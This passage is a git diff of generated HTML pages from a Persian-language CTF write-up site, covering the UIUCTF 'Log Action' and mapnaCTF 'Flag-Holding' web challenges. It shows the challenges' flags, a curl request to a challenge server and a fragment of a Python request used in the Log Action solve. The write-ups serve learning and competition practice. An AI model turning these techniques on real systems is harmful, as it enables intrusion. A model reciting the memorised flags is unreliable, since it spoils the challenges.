SNAPP{f1r57_0n3_w45n7_700_h4rd_16_4b3784621}

نویسنده

amir303

\ No newline at end of file +

میبینین که بخش سوم هم با اسم flag-3rd-part توی هدر ها ارسال شده است

FLAG 🚩

SNAPP{f1r57_0n3_w45n7_700_h4rd_16_4b3784621}

نویسنده

amir303

\ No newline at end of file diff --git a/web/writeups/UIUCTF/log-action/index.html b/web/writeups/UIUCTF/log-action/index.html index 97986390..7c31f2b7 100644 --- a/web/writeups/UIUCTF/log-action/index.html +++ b/web/writeups/UIUCTF/log-action/index.html @@ -1,4 +1,4 @@ - Log Action - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Log Action

توی این چالش به ما دوتا وب سرور دادن که یکی از اون ها که Next.js هستش به صورت پابلیک پابلیش شده ولی وب سروری که فلگ در آن قرار داره پورتش پابلیش نشده و فقط از داخل نتورک داخلی داکر در دسترس هستش

لینک سورس کد چالش

version: '3'
@@ -171,4 +171,4 @@
 res = requests.post("http://log-action.challenge.uiuc.tf/login", headers=headers, data="{}")
 
 print(res.text)
-

FLAG 🚩

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

نویسنده

amir303

\ No newline at end of file +

FLAG 🚩

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

نویسنده

amir303

\ No newline at end of file diff --git a/web/writeups/mapnaCTF/flag-holding/index.html b/web/writeups/mapnaCTF/flag-holding/index.html index feeaf92e..12535a39 100644 --- a/web/writeups/mapnaCTF/flag-holding/index.html +++ b/web/writeups/mapnaCTF/flag-holding/index.html @@ -1,4 +1,4 @@ - Flag-Holding - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Flag holding

این یک چالش دست گرمی در بخش وب بود که حل های زیادی داشت ، همونطور که در توضیحات چالش گفته شده ، کافیه بدونیم وب چطور کار میکنه xd

flag-holding.png

اولین کاری که خب انتظار میره انجام بدیم ، اینه که آدرس داده شده رو باز کنیم و ببینیم چی به چیه

توجه: برای حل این سوال من از curl استفاده میکنم تا اگه در طول چالش نیازی به ست کردن هدر خاصی یا کاره خاصی بود راحت تر باشم ولی الزامی به استفاده از curl نیست

$ curl http://18.184.219.56:8080/
@@ -72,4 +72,4 @@
     <div class="msg" style="">
         MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f} </div>
 </body>
-

و بعد از اینکه از متد FLAG استفاده کنین فلگ رو بهمون میده

همونطور که دیدین این یکی از سوال های دست گرمی وب هستش و خیلی سخت نبود ولی جابب بود و شاید باعث بشه برای کسایی که وب رو نمیشناسن یه نگاهی به داکیومنت http بندازن


FLAG 🚩

MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

نویسنده

amir303

\ No newline at end of file +

و بعد از اینکه از متد FLAG استفاده کنین فلگ رو بهمون میده

همونطور که دیدین این یکی از سوال های دست گرمی وب هستش و خیلی سخت نبود ولی جابب بود و شاید باعث بشه برای کسایی که وب رو نمیشناسن یه نگاهی به داکیومنت http بندازن


FLAG 🚩

MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

نویسنده

amir303

\ No newline at end of file